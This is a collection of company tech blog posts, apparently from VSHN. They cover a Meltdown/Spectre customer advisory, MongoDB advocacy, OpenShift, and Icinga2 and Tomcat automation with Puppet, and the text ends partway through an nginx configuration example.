Tech

Meltdown und Spectre

4. Jan 2018

Am 4. Januar 2018 wurden Informationen über zwei Angriffe auf aktuelle Prozessor-Architekturen veröffentlicht, genannt “Meltdown” und “Spectre”, welche auch uns und unsere Kunden betreffen. Während die unterliegenden Probleme ähnlich sind, handelt es sich dabei um zwei unterschiedliche konkrete Angriffe.

Kurzdarstellung der Sicherheitslücken

Grundsätzlich unterstützen CPUs einen gewissen Instruktionssatz. Dieser ist funktional genau definiert, so dass sich Anwendungen darauf verlassen können, dass der Prozessor zum richtigen Resultat kommt. Wie genau der Instruktionssatz in der Praxis implementiert wird, ist jedoch dem Prozessorhersteller überlassen. Um die Ausführungsgeschwindigkeit zu erhöhen, wenden die Prozessorhersteller alle möglichen Tricks an; z.B. versucht der Prozessor, mehrere Instruktionen gleichzeitig abzuarbeiten (“pipelining”), oder er versucht zu erraten, welcher Pfad durch Fallunterscheidungen im Programm der wahrscheinlichste ist, und führt diesen auf gut Glück aus, mit dem Risiko, das Resultat verwerfen und nochmal weiter vorne beginnen zu müssen (“speculative execution”, “branch prediction”). Diese Mechanismen haben zwar auf das Endresultat einer Berechnung keinen Einfluss, sehr wohl aber auf den zeitlichen Ablauf und den Inhalt der CPU-Caches. Die genannten Angriffe nutzen das nun aus, indem sie den Prozessor dazu verleiten etwas zu tun, was er nicht darf und was er anschliessend auch korrekt verwirft; aber über geschickte Zeitmessungen kann das Programm herausfinden, was für Werte aus dem Speicher dabei verwendet wurden. Über diesen Kniff kann ein entsprechendes Programm unter anderem geschützten Speicher des Systems auslesen und so z.B. Zugriff auf Verschlüsselungs-Keys erhalten. Im Falle von virtualisierten Umgebungen ist das besonders schlimm, denn der Angriff funktioniert auch über die Grenzen virtueller Maschinen hinweg; Es ist so möglich, auf den Speicher von anderen virtuellen Maschinen zuzugreifen.
Die technischen Details sind komplex und sprengen den Rahmen dieses Blog-Artikels bei Weitem, können aber auf der eigens dafür eingerichteten Webseite https://meltdownattack.com nachgelesen werden.

Bewertung

Innerhalb eines einzelnen Systems (ob physisch oder virtuell) haben die Angriffe den Charakter einer Rechteausweitung. Das bedeutet, dass ein einfacher User, der beliebige Software ausführen kann, Zugriff auf das System erhält, welcher nur ein Administrator haben dürfte. Das ist zwar sehr schlecht, aber bei Systemen, bei welchen grundsätzlich nur vertrauenswürdige User Software ausführen können, für sich alleine noch kein Problem. Das trifft typischerweise z.B. auf Web-, File- und Datenbankserver zu.
Bei Systemen, auf welchen beliebige User Software ausführen können, ist die Lücke katastrophal, denn nun ist die Trennung der User oder gar Kunden (Firmen) nicht mehr sichergestellt. Das betrifft z.B. Virtualisierungs-Server (Xen, KVM, VMWare) oder Docker-Server, auf denen beliebige User virtuelle Maschinen beziehen oder Docker-Container ausführen können. Die User können auf solchen Systemen innerhalb einer VM oder eines Docker-Containers bösartigen Code ausführen und Zugriff auf den Speicher anderer VMs oder Docker-Container erhalten. Für derartige öffentliche Virtualisierungsplattformen (z.B. Amazon AWS, Google Compute Engine, Cloudscale) ist daher sofortiges Handeln zwingend nötig.

Massnahmen

Für die gängigen Betriebssysteme stehen Sicherheitsupdates zur Verfügung oder sind in Arbeit. Da sich das Problem auf Ebene Hardware derzeit nicht lösen lässt, modifizieren die Betriebssysteme die Art und Weise, wie sie mit geschütztem Speicher umgehen. Dabei wird der Betriebssystem-Kernel nicht mehr im Speicherbereich jedes Prozesses eingeblendet, sondern ist nur noch nach einem Kontext-Wechsel (Wechsel in eine andere “Speicher-Arbeitsumgebung”) erreichbar.
Dies ist ein massiver Umbau. Einerseits führt er zu einem Performance-Verlust, weil der Kontext-Wechsel für den Prozessor aufwändiger ist als die heutige Umsetzung. Es ist von Geschwindigkeitseinbussen von 5% bis zu 30% die Rede. Wir rechnen für die meisten Anwendungsfälle mit Geschwindigkeitseinbussen von unter 10%, also nicht im spürbaren, aber knapp messbaren Bereich. Andererseits bedeuten solch umfangreiche Umbauten ein Risiko für Bugs und neue, bisher unbekannte Stabilitätsprobleme, weshalb sofortiges Aktualisieren aller Systeme nicht zwingend die beste Vorgehensweise ist.
Da allerdings die Sicherheitsprobleme im Falle von Systemen mit nicht vertrauenswürdigen Usern derart gravierend sind, müssen wir diese Systeme zwingend so bald wie möglich aktualisieren. Das betrifft konkret primär die APPUiO-Public-Plattform; Für alle anderen Systeme evaluieren wir das Vorgehen noch, jedoch werden diese spätestens im nächsten Wartungsfenster am 9. Januar aktualisiert und erhalten dann entsprechend angepasste Linux-Kernel.

david.gubler

David ist DevOps-Engineer und Entwickelt fliessend Java und MongoDB

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

NoSQL – Why you should use MongoDB instead of a relational database

4. Oct 2017

What’s wrong with relational databases

Stored procedures and triggers
For some people, a database just stores data. For others, a database is more like an application server, with stored procedures, triggers, CSV exports to the file system, cleanup jobs and code to expire user accounts. I think a database should store data. Period. Embedding application logic in a database is bound to end up in a huge mess:
  • Who maintains the stored procedures and triggers? The application on startup? A hacky collection of bash scripts? The sysadmin, manually? Nobody at all, because “we have a backup”? Any combination thereof?
  • Are they kept under version control, or are they just floating around?
  • How do you keep track of the versions of stored procedures and triggers? Not at all? “We add a version number to the name”? “We don’t change them”? And related to this:
  • How do you run different versions of your application in parallel (during a rolling release), if they require different versions of your stored procedures and triggers?
  • How do you track which ones are still needed? I bet the answer is: Not at all.

Of course, I’m trying to make two points here: First, if you’re stuck with a relational database, don’t use these features; you’ll make your life easier. Second, if your alternative database doesn’t have these features, don’t think of it as a negative. You’ll be forced to find better solutions right from the beginning.
Schema changes
Nobody likes schema changes. On larger tables, they may take tens of minutes or hours, during this time the database is often at least partially unavailable. This can be a complete show-stopper for deployments during the day, making continuous deployment impossible. Worse yet, in my experience it’s not even possible to figure out beforehand how long a schema change will take; you can try it on a development system with a copy of the production database, and it may take a completely different amount of time than on the production servers, even with equal hardware, cache warmup etc.
Also, during rolling releases, you may have multiple versions of the application trying to set up a different schema, or one of the applications may fail if it doesn’t like the current version of the schema.
There are some tools, most notably pt-online-schema-change by Percona to work around this. But they drastically increase the complexity of a deployment, and I even don’t want to think of the number of ways in which this can go wrong.
Failover and High Availability
Many relational databases don’t have good options for replication and failover. One example is PostgreSQL, which currently only offers simple replication without any sort of failover or HA. There are some tools that work on top of PostgreSQL which try to provide this functionality, but they are complex to set up, even more complex to manage and can fail in an even greater number of ways – very far off from anything one could call “high availability”.
A notable exception, kudos to them, is MySQL/MariaDB with its Galera cluster feature. While it’s implementation is very complex and not without issues, it mostly works well and is more or less easy to set up and administer. If you must go for a relational database, go for MySQL/MariaDB, because you can easily switch to a Galera cluster later! (Shameless plug: We offer Galera as a managed service, and we’ve got it all ready for you if you’re interested).
Normalization
So you’ve got some object in your application. This object is associated with a number of users, there are comments, and you can attach files to it. What do you do in a relational database? You create a table for that object, a table for the n:n relationship to your users, a table for the comments, a table for the file metadata (assume the file is stored elsewhere).
Now, you’ve got some heavy users of that feature. One of your objects has 50 comments, 140 user IDs attached to it and 15 files. Now your application needs to display this object.
The database needs to fetch one of your objects, 50 comments, 140 user IDs and 15 file metadata entries. That’s over 200 rows! Since the data was probably added over time, it’s not stored sequentially, hence typically your database server will have to fetch 200 random 4k blocks from your SSD, only to read a single one of your objects!
Wait, it gets worse. Let’s have a look at your indexes.
The n:n relationship between your object and your users contains #objects * #usersPerObject entries. Depending on how large usersPerObject is, the total number of rows in this n:n relationship can be huge, much bigger than the number of objects and the number of users.
You could, for instance, easily have 10 mio users, 10 mio objects and 200 mio entries in this n:n relationship.
This n:n relationship probably needs two indexes. These indexes are going to be huge, possibly bigger than all your object and user data combined. They occupy a lot of RAM, and they are just overhead, not actual user data.
Wouldn’t it be nice to store your entire object in one place, without the need to join all those tables? All of it could fit in a few sequential 4k blocks!
Oh. And don’t get me started on maintaining consistency in a normalized database. Yes, I, too, have written tools that iterate over the database, trying to find orphans and broken foreign keys.
SQL
Your application has to assemble what you want into a single string, and the database server has to parse that string and figure out what you wanted in the first place. That’s just wasteful, never mind all the injection issues. Why don’t you tell the database server directly what you want, in a structured form?

Ok, so relational databases are bad because of normalization and schema changes, some are bad in terms of HA, and I’m shooting myself in the foot if I’m using stored procedures. How can I do better?

Easy. Just store your object in one piece as JSON, without schema restrictions on the database.

  • No more wasteful n:n relationships
  • No more schema changes
  • Far fewer or even no more orphans in the database
  • Data much easier to navigate and understand

Now, even some relational database vendors have come to realize that this is the way to go, e.g. PostgreSQL has added such features in recent versions. But if you want it all, you’re probably better off with a database like MongoDB, which is built around these core concepts, and offers all the advantages.
Stored procedures and triggers
Stored procedures are not offered by MongoDB. It can execute server-side JavaScript, but it doesn’t store the code for you (hence none of the issues of stored procedures).
MongoDB doesn’t have triggers. Because triggers are often only used to ensure consistency in a normalized schema and MongoDB doesn’t have that, they’re not really needed anyway.
Schema changes
No schema, no schema changes.
(Of course your application has a schema, otherwise it couldn’t interpret the objects read from database, but the database doesn’t care how it looks).
Failover and High Availability
MongoDB supports easy-to-use and powerful replica sets. There can only be one writeable primary, though. If you need multiple primaries for performance (which you probably won’t since MongoDB’s write performance is excellent), you can use sharding (also supported out of the box).
Normalization
Typically, you put your entities into one document, therefore there is no normalization going on. However, don’t think you can just store anything you want in the database. Just because the database doesn’t enforce a schema doesn’t mean that you don’t have to put in some effort to find a good data layout, which may include spliting up data into multiple collections.
SQL
As the well-known term “NoSQL” suggests, MongoDB doesn’t support SQL. Instead you tell the server what you want in a structured form. This is something that seems alien at first, but you’ll get used to it.

Ok that’s great, but what about transactions?

MongoDB doesn’t support transactions per se. But, as long as you stay within one document, you can change any number of things atomically (“at the same time”) as you want, which kind of acts as a replacement for transactions. This means, in turn, that if your application needs atomicity for some use cases, you must make sure that all the data involved in this operation is living in a single document.
Does this sound like a problem to you? Think about this:
Relational databases have multiple levels of transaction isolation. You would need the highest levels of isolation to ensure that nothing can go wrong, but performance is so poor with that kind of isolation that even banking software doesn’t use it.
The second problem of transactions is: They don’t do what you want. You don’t want a user’s action to fail if another user changes something concurrently. Instead, you want the two changes to get merged, without loosing any user’s changes. Relational databases don’t offer any kind of semantics for that, this just sort of happens (or doesn’t) depending on the database layer implementation in your application. MongoDB offers update operations which don’t have that problem, because they only change selected parts of a document, and the change has very clear semantics, even in the presence of other, concurrent changes.

Help! I’m all for MongoDB, but I need to convince my boss!

Put these in your PowerPoint presentation (remove the comments in parentheses):

  • Your application will have better performance, because there’s no need to normalize data (given a good implementation).
  • Your application will have better availability, because replica sets can be set up easily and work very well.
  • There is faster product development, because new features can be added more easily without the need for schema migrations.
  • There will be lower system administration cost, because MongoDB is easier to set up, tune and maintain than relational databases.

Are there any downsides?

There are.

  • MongoDB is in many ways very different from a relational database, among other things you have to re-learn how to create a good schema and how queries and updates work.This is asking a lot from your development team.
  • A MongoDB document is a BSON (binary form of JSON with some extensions) blob. Each document repeats the keys, and that’s redundancy you don’t have with a relational database. This can be mitigated by choosing short key strings and using document level compression.
  • Server-side Javascript execution was always kind of slow when I used it (which unfortunately includes the built-in map/reduce functionality). Things may have improved in the meantime, though. But if you stick to normal query/update operations and (if required) the aggregation framework, you’ll have great performance.
  • Replica Sets only have one writeable primary node and sharding is complex to set up. Won’t be an issue for most applications, though, because write performance of a single primary is really good.
  • There is no good PHPMyAdmin analog.
  • If you want to migrate an existing application to MongoDB, it will be a very painful and tedious process, as you’ll have to rewrite all of your database layer and take care of data migration. It can easily take you years to do a full migration. Don’t underestimate this.
  • While the original storage engine of MongoDB, mmapv1, was very robust, and its successor wiredTiger is faster and has better features, we’ve also seen cases in which a crashed wiredTiger database couldn’t recover on its own. This is not a problem in a replica set (you can just delete the data on the replica and let it re-sync), but it can be a problem on a single server. However, the MongoDB team is aware of these issues and we expect that they’ll get fixed.

david.gubler

David ist DevOps-Engineer und Entwickelt fliessend Java und MongoDB

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Serverless Computing / Functions as a Service mit APPUiO und Snafu

22. Sep 2017
Was ist Serverless, auch FaaS (Function as a Service) genannt?

Die Begriffe “Serverless” und “FaaS (Function as a Service)” werden in jüngerer Zeit immer öfter in Artikeln erwähnt. Um was geht es eigentlich bei diesem Thema? Unter “FaaS” versteht man die Möglichkeit, eine Programmfunktion “in der Cloud” zu betreiben. Dabei speichert der Entwickler die gewünschte Funktion (egal in welcher Programmiersprache abgefasst, so lange vom Anbieter unterstützt) im FaaS Service der Wahl und ruft diese z.B. über HTTP oder einen Servicebus auf. Dabei muss der Benutzer der Funktion sich weder um die Ausführungsumgebung, Skalierung noch die Konfigurationsdetails eines Applikationsservers kümmern. Daher kommt auch der Begriff “Serverless”, welcher sagen möchte, dass die Funktion “einfach läuft”, sozusagen ohne Server. Eine Funktion kann eine einfache “Eingabe-Verarbeitung-Ausgabe” Funktion sein, komplexe Berechnungen durchführen oder Daten aus anderen externen Diensten beziehen, verarbeiten und speichern.
Der Einsatz von FaaS macht vor allem dann Sinn, wenn es sich um eine spezialisierte Funktion handelt, welche von diversen Microservices verwendet wird. Auch ökonomisch lässt sich der Einsatz von Funktionen in der Cloud gut begründen: Bezahlt wird für der einzelne Funktionsaufruf (je nach Anbieter). Wird die Funktion nicht genutzt, fallen auch keine Kosten an. Dies ist ein “echtes” Cloud Modell, ganz im Sinne von “Pay per Use”.

(more…)

Tobias Brunner

Tobias Brunner is working since over 20 years in IT and more than 15 years with Internet technology. New technology has to be tried and written about.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

DKIM – Ein Baustein im Kampf gegen Spam mit gefälschten Absenderadressen

30. Aug 2017

DKIM (DomainKeys Identified Mail, RFC6376) geht auf eine Entwicklung von Yahoo aus dem Jahre 2004 zurück. Es handelt sich dabei um ein Protokoll zur Sicherstellung der Authentizität von Absendern in E-Mails. Der Standard dient also der Eindämmung von unerwünschten E-Mails wie Spam oderPhishing, welche grösstenteils mit gefälschtem Absender in den elektronischen Postfächern landen.

(more…)

andre.keller

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Introduction to OpenShift on Exoscale

22. Aug 2017

“OpenShift is to Kubernetes similar to what a Linux distribution is to the kernel.”
The world is talking about the Kubernetes Project – but did you hear about OpenShift? It’s an open source product based on the open source projects Kubernetes and Docker plus a container builder/registry, and a Web GUI to manage it all. This blog post will introduce you to OpenShift and give some hints why to use it, how to get started, and where you can get professional support and managed services.

What is OpenShift and why should you use it?

It describes itself as “the industry’s most secure and comprehensive enterprise-grade container platform based on industry standards, Docker and Kubernetes”. It’s much more than that – it gives you a complete Kubernetes cluster with many cool features: integrated build pipelines, Docker Registry, Application router (for getting traffic into the cluster), security based on RBAC and SELinux, Web Console for easy access, central logging of all Pod output, Metrics to measure Pod performance, Installation and upgrade using Ansible Playbooks, Source-to-Image builds, and much much more.
As a Linux distribution acts to the Linux Kernel, OpenShift is a Kubernetes distribution with all the needed tools and tricks to make full use of it.
OpenShift comes in two flavors:

  • OpenShift Container Platform: Software product to install in your data center and get support by Red Hat.
  • OpenShift Origin: The open source upstream project with a very active GitHub repository.

OpenShift enables you to develop faster – after committing your changes in GIT it solves container image build, storage, deploy, scaling, monitoring, and logging for you so you don’t have to do it. The integrated build and deployment processes help you get the developed application to the customer as fast as possible. It enables you to deploy hourly or even faster, and scale computing resources per project automatically with your user base.

How to get started?

There are many many ways to get started, here are a few hints and examples:

  • Install your own OpenShift cluster for example on Exoscale with the official Ansible Playbooks. By using these playbooks you learn to customize every inch of the installation and configuration, and they also help you upgrade from one version to another. Documentation about these playbooks can be found inside the Git repository or on the documentation page.
  • Start a local OpenShift cluster on your workstation with Minishift (based on Minikube) or with the fancy command oc cluster up. Just download the client binary from the GitHub releases page, unpack it, and then run the oc cluster up command. This will launch a complete OpenShift instance on your local Docker Engine:

.

% oc cluster up
Starting OpenShift using openshift/origin:v3.6.0 ...
Pulling image openshift/origin:v3.6.0
Pulled 1/4 layers, 28% complete
Pulled 2/4 layers, 83% complete
Pulled 3/4 layers, 88% complete
Pulled 4/4 layers, 100% complete
Extracting
Image pull complete
OpenShift server started.
The server is accessible via web console at:
You are logged in as:
    User:     developer
    Password: <any value>
To login as administrator:
    oc login -u system:admin
% oc new-app https://github.com/appuio/example-php-sti-helloworld.git
[...]
% oc expose svc example-php-sti-helloworld
[...]
% curl -s http://example-php-sti-helloworld-myproject.127.0.0.1.nip.io/ | grep title
    <title>APPUiO PHP Demo</title>
  • Have a look at the APPUiO Techlabs on GitHub which is a free step-by-step introduction to get started. We offer free half-day workshops.
  • The APPUiO Microservices Example documentation gives some insight for developers on how a Microservice application can be built and deployed on OpenShift, describing tools like Gitlab CI and Jenkins for the build pipelines.

There is a lot of documentation available from upstream. It’s a great source to read about every little detail. You’ll find documentation for both the OpenShift Container Platform and OpenShift Origin. APPUiO also provides a community-driven documentation.

About APPUiO

APPUiO – the Swiss Container Platform – is a managed OpenShift service by Puzzle and VSHN. Your OpenShift platform is managed on any cloud you wish – especially on Exoscale.
With more than two years of experience with OpenShift v3 we’re the leading provider in Switzerland with a deep knowledge in running and operating OpenShift. We’re not only managing dozens of private OpenShift clusters but also a public shared platform.
Running the OpenShift platform continuously and reliably is not easy – it has a lot of moving parts making the lives of developers easier. That’s why we’ve engineered more than 120 cluster checks and 50 checks per server for each APPUiO cluster to ensure proper functionality. This also includes regular end-to-end tests which are simulating the user interaction with the cluster – from building to deploying and accessing an application. We also share a lot of scripts, tools, and documentation on GitHub under the APPUiO organization. Talk to us in the APPUiO Community Chat.
Check out the Exoscale integrations to find out which tools Exoscale is supporting – and come talk to APPUiO about trying out OpenShift for free today!
(Original-Blog veröffentlicht bei www.exoscale.ch )

Tobias Brunner

Tobias Brunner is working since over 20 years in IT and more than 15 years with Internet technology. New technology has to be tried and written about.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Distributed Monitoring mit Icinga2 und Puppet

13. Jul 2017

Wir bei VSHN betreiben Applikationen auf Servern und Container Plattformen für Kunden mit verschiedensten Anforderungen. Dabei bilden neben dem Konfigurationsmanagement und der wöchentlichen Maintenance auch die täglichen Backups und natürlich das Monitoring die zentralen Punkte des proaktiven DevOps Betriebs. Bei aktuell über 600 managed Servern mit mehr als 30’000 Services wäre die manuelle Konfiguration sowie das Tuning des Monitorings und der Umsysteme wie InfluxDB, Grafana, etc. recht mühsam – darum haben wir dies komplett automatisiert.

In diesem Blog-Post zeigen wir, wie wir dies bewerkstelligen und wohin die Monitoring-Reise bei VSHN geht.

Architektur

Icinga2 ermöglicht ein komplett verteiltes Monitoring Setup, in dem auf jedem zu überwachenden System eine Icinga2 Instanz läuft. Jeder Client verbindet dann, meistens mit einer ausgehenden TCP Verbindung, verschlüsselt und über x509 authentifiziert, zur Master- oder der überliegenden Satelliten-Zone. Dies ist wichtig, da wir oft Systeme im Enterprise Umfeld betreiben, bei denen wir dann meistens auf einem Jumphost oder dediziert einen Satelliten betreiben. Anschliessend benötigt ausschliesslich dieser eine Verbindung ins Internet zu unserem Monitoring Master.
Des Weiteren kann so ein Server tagelang offline sein und trotzdem haben wir rückwirkend die komplette History und die Performance Daten (man kann auch rückwirkend Performance Daten in die InfluxDB schreiben), weil jede Icinga Instanz lokal ein Replay Log speichert und dieses anschliessend wieder an die überliegende Zone senden kann.
Eine Zone kann auch aus mehreren Icinga2 Instanzen (Servern) bestehen, um die Last zu verteilen und die Verfügbarkeit zu erhöhen.
Für die Authentifizierung und Autorisierung der VSHN- und Kunden-Benutzer ist Icingaweb2 ausserdem an unser zentrales LDAP angebunden. Eine Integration mit Grafana ermöglicht die Vorschau von Performance Data Grafiken direkt in Icingaweb2. Grafana greift auf InfluxDB zu, die wiederum von der Icinga2 Master Instanz mit Performance Daten befüllt wird.

Automatische Konfiguration

Alle unsere Server werden vollständig automatisiert mit Puppet konfiguriert. Dabei weisen wir via Hiera den Servern Rollen zu. Eine Rolle besteht wiederum aus Puppet Profilen (VSHN eigene Puppet Module, die meist auf einem Puppet Base Modul aufbauen). Das Profil steuert immer auch Backup, Firewall und Monitoring. So ist sichergestellt, dass jeder Server eine korrekte Backup-Konfiguration und die richtigen Firewall Rules hat und eben auch automatisch im Monitoring eingerichtet wird. Das heisst, es ist ausgeschlossen, dass ein managed Server nicht im Monitoring eingerichtet ist.

Cluster Konfiguration

Ein Icinga2 Cluster wird immer mittels Zonen und Endpoints konfiguriert. Zonen können mehrere Endpoints (Server mit Icinga2 Instanz) enthalten.

Die manuelle Konfiguration dazu würde vereinfacht so aussehen:

# zones
object Zone "master" {
  endpoints = [ "master1.vagrant.dev" ]
}
object Zone "sat1.vagrant.dev" {
  parent = "master"
  endpoints = [ "sat1.vagrant.dev" ]
}
...
object Zone "clientB.vagrant.dev" {
  parent = "sat1.vagrant.dev"
  endpoints = [ "clientB.vagrant.dev" ]
}
# endpoints
object Endpoint "master1.vagrant.dev" {
  host = "192.168.33.101"
}
object Endpoint "sat1.vagrant.dev" {
  host = "192.168.12.102"
}
...
object Endpoint "clientB.vagrant.dev" {
  host = "192.168.12.104"
}

Das muss dann noch auf allen beteiligten Server so gemacht werden. Ausserdem müssen neben der Icinga2 Grund- und Feature-Konfiguration entweder die Icinga2 eigene x509 PKI konfiguriert und verwendet oder die Zertifikate auf andere Weise ausgestellt und verteilt werden. Details zur manuellen Konfiguration sind hier zu finden: https://www.icinga.com/docs/icinga2/latest/doc/06-distributed-monitoring/
Bei uns wird das natürlich alles via Puppet gemacht. In der Regel reicht folgende Konfiguration aus Hiera (Beispiel für einen Client, der zu einem Satelliten verbindet):
Beispiel Client hinter Satellite

profile_icinga2::parent_zone: 'sat1.vagrant.dev'
profile_icinga2::parent_endpoints:
  'sat1.vagrant.dev':
    host: '192.168.12.102'
 profile_icinga2 kümmert sich dann um alles, inklusive der Zonen / Endpoint Konfiguration und konfiguriert die sowieso vorhanden Zertifikate der PuppetCA für die Icinga2 API. Das offizielle Puppet Modul für Icinga2 gibt es hier: https://github.com/Icinga/puppet-icinga2

Host und Service Checks – Konfigurations-Flow

1. Puppet Run auf einem Server inkludiert profile_icinga2 und Service Profile (z.B. profile_mariadb), Beispiel Hieradata:

---
classes:
 - profile_icinga2
 - profile_mariadb
profile_mariadb::manage_monitoring: true # default

2. Icinga2 Profil exportiert

  • Host Object
  • MariaDB Service Check

3. Puppet run auf Monitoring Master
4. Im selben Puppet run auf dem Monitoring Master werden alle Host Objects und Service Objects gesammelt und in Icinga2 angelegt
5. Die Hosts und Services werden im Config Sync Verzeichnis (zones.d) der jeweiligen Client Zone von Puppet angelegt
6. Icinga2 config check wird von Puppet durchgeführt und Icinga2 reloaded
7. Icinga2 synchronisiert die Config via Top-Down-ConfigSync auf alle Satelliten und Clients

  • Jede Satellite und Client Instanz bekommt dabei nur die Config, die ihn auch wirklich betrifft
  • Jede Instanz validiert und aktiviert die Config

8. Icinga2 Satelliten syncen die Configs auf ihre Clients
9. Check ist im Monitoring:

Die Nachteile von Exported Resources

Puppet ist unser primäres Konfigurationsmanagement und Automatisierungs-Werkzeug. Allerdings ist bei der Verwendung von Exported Resources immer Vorsicht geboten.

  • Verlust der PuppetDB Daten führt zum Wegräumen aller Hosts und Services im Monitoring, was sich zwar wieder – nachdem jeder Server wieder einen Puppet run gemacht hat – von selbst “heilt”. Trotzdem unschön.
  • Die ganze Sache ist sehr träge, da jede Änderung einen Puppet run auf dem Server (Icinga2 Client) und auf dem Icinga2 Master benötigt, bevor die Änderungen wirksam sind.
  • Der Puppet run auf dem Monitoring Master sammelt tausende Zone-, Endpoint-, Host- und zehntausende Service-Objects Resources zusammen und ergibt somit einen Puppet run, der locker länger als 20-30 Minuten dauert. Das System wird somit noch träger.

Mögliche Lösungen

Wir wollen in Zukunft auf das Einsammeln von Exported Resources verzichten und Icinga2 direkt mit den Daten aus der PuppetDB konfigurieren. Warum? Weil ein Puppet Run auf fast allen Servern im 1-2 Minuten-Bereich oder weniger liegt, der Puppet Run auf dem Monitoring Master jedoch das Problem ist.
Es gibt auch bereits eine Lösung: Icinga2 Director mit PuppetDB Anbindung 

Dabei würden die Server weiterhin Host und Service Objects via Puppet exportieren, jedoch sammelt ein Import / Sync Job (3) des Directors die Objekte direkt aus der PuppetDB zusammen, filtert und konfiguriert daraus Icinga2 Objekte.

Resultat

Nur noch ein schneller Puppet Run auf den eigentlich betroffenen Server, Änderungen sind innert 1-2 Minuten in Icinga2 aktiv. Der Puppet Run auf dem Monitoring Master gerät in der Hintergrund und ist maximal noch für die Zonen Konfiguration und PKI zuständig, welche im Vergleich zu Service Checks und dem damit verbundenen Tuning eher statisch ist.

Fazit

Verglichen mit der manuellen Konfiguration von Hosts und Services in einem Monitoring System oder der für uns fast komplett unbrauchbaren Auto-Discovery Funktionen anderer Systeme, haben wir mit top Open Source Software eine Lösung geschaffen, die unsere Anforderungen erfüllt, sich komplett in unsere DevOps Arbeitsweise integriert und uns somit den proaktiven Betrieb für unsere Kunden ermöglicht sowie extrem vereinfacht. Es gibt aber an zahlreichen Punkten Verbesserungspotential und uns wird es darum sicher nie langweilig.
Mehr zu Distributed Monitoring mit Icinga2: https://www.icinga.com/docs/icinga2/latest/doc/06-distributed-monitoring/
Dies wird sicher nicht der letzte Blog Post zu Icinga2, Icinga2 Director, Monitoring usw. gewesen sein.

Marco Fretz

Marco is one of VSHN's General Managers and Chief Operating Officer.

Contact us

Our team of experts is available for you. In case of emergency also 24/7.

Contact us
Tech

Tame the Cat

27. Jun 2017

Einen eigenen Tomcat Server zu betreiben, kann unter gewissen Umständen ein aufwendiges und mühsames Unterfangen sein.
Daher haben wir mithilfe von Puppet ein eigenes Tomcat-Hosting-Profil entwickelt. Dabei greifen wir auf das bestehende Puppet Modul von Puppetlabs zurück. Ziel dieses Puppetmodules ist es, in kurzer Zeit einen Tomcatserver bereitzustellen, der alle nötigen Konfigurationen beinhaltet sowie in einer einheitlichen und standardisierten Art und Weise aufgesetzt ist. So soll ein Update der Tomcat Version einfach und schnell möglich sein.

In diesem Blog-Post erläutern wir kurz, was unser Puppet-Modul alles kann und zeigen auf, wie einfach es ist, eine neue Tomcat Instanz aufzusetzen.

Architektur

Bevor wir zur Beschreibung des eigentlichen Moduls kommen, zeigen wir kurz auf, welche Komponenten installiert und konfiguriert werden.

Im oben stehenden Diagramm sehen wir die Grundarchitektur eines klassischen Tomcathostings.
Wir verwenden für unser Setup:

  • ein Nginx als Reverse-Proxy für die SSL-Terminierung
  • optional Varnish für das Caching
  • Mysql/Mariadb und/oder PostgreSQL als Datenbank-Server

Der komplette Server lässt sich dabei in einem yaml-file konfigurieren:

---
classes:
  - profile_tomcathosting
profile_tomcathosting::servers:
  'tomcat8.5.15':
    source_url: 'http://www-eu.apache.org/dist/tomcat/tomcat-8/v8.5.15/bin/apache-tomcat-8.5.15.tar.gz'
  'tomcat7':
    source_url: 'http://www-eu.apache.org/dist/tomcat/tomcat-7/v7.0.78/bin/apache-tomcat-7.0.78.tar.gz'
profile_tomcathosting::db_root_pw: 'mySuperS3cretR00tPw'
profile_tomcathosting::varnish_version: '4.1'
profile_tomcathosting::varnish_template: 'profile_tomcathosting/varnish/defaultv4.vcl.erb'
profile_tomcathosting::tomcat_base: '/home'
tomcathosting_sites:
  'mytomcathosting':
    server_name: 'mytomcathosting.com'
    db_password: 'anothergre@tp@$w0rd'
    use_static: true
    use_varnish: true
    use_mariadb: true
    manage_tls: 'letsencrypt'
    offset: 1
    suppress_version: false
    tomcat_server: 'tomcat8.5.15'
  'legacy_tomcathosting':
    server_name: 'legacy-tomcathosting.com'
    db_password: 'myother_dbP@$swort'
    use_static: false
    use_varnish: false
    use_mariadb: false
    use_postgresql: true
    manage_tls: 'letsencrypt'
    offset: 2
    suppress_version: true
    tomcat_server: 'tomcat7'

Dies reicht schon, um einen Server mit Tomcat7 sowie Tomcat8 zu installieren, sowie zwei Instanzen, die jeweils einen der beiden installierten Tomcats verwendet.
Die Konfiguration im oben stehenden Listing installiert unter /opt/tomcat8.5.15 sowie unter /opt/tomcat7 jeweils einen Tomcat. So werden zwei neue User angelegt (mytomcathosting und legacy_tomcathosting) mit dem Homeverzeichnis unter /home (default ist /var/lib/tomcat, wenn tomcat_base nicht angegeben wird). Dort wird von Puppet im Unterordner tomcat/ die Verzeichnisstruktur für eine Tomcatinstanz eingerichtet. Des Weiteren erstellt Puppet auch die Konfigurationsdateien von Tomcat im Ordner: tomcat/config/. Für mytomcathosting wird zusätzlich ein Ordner static im Homeverzeichnis angelegt.
Wenn wir uns die generierte nginx config genauer ansehen, sehen wir, dass für mytomcathosting eine zusätzliche Location für static content konfiguriert wurde. Zudem leitet die proxy_pass Direktive nicht zur Tomcatinstanz, sondern zum installierten Varnish. Damit Varnish die verschiedenen vhosts unterscheiden kann, setzten wir zusätzlich den varnish_host Header:
mytomcathosting.com Nginx config server

{
  listen       *:443 ssl ;
  server_name  mytomcathosting.com;
  ssl on;
  ssl_certificate           /etc/ssl/certs/mytomcathosting.com-chained.pem;
  ssl_certificate_key       /etc/ssl/private/mytomcathosting.com-key.pem;
  ssl_dhparam               /etc/ssl/dh4096.pem;
  [...]
  add_header              Strict-Transport-Security max-age=31536000;
  location /static/ {
    root      /home/mytomcathosting/;
    index     index.html index.htm index.php;
  }
  location / {
    proxy_pass            ;
    proxy_read_timeout    90;
    proxy_connect_timeout 90;
    proxy_redirect        off;
    proxy_set_header      varnish_host mytomcathosting;
    proxy_set_header      Host mytomcathosting.com;
    proxy_set_header      X-Scheme $host;
    proxy_set_header      X-Forwarded-Host $host;
    proxy_set_header      X-Forwarded-Server $host;
    proxy_set_header      X-Forwarded-Server-IP $server_addr;
    proxy_set_header      X-Forwarded-Server-Port $server_port;
    proxy_set_header      X-Forwarded-For $proxy_add_x_forwarded_for;
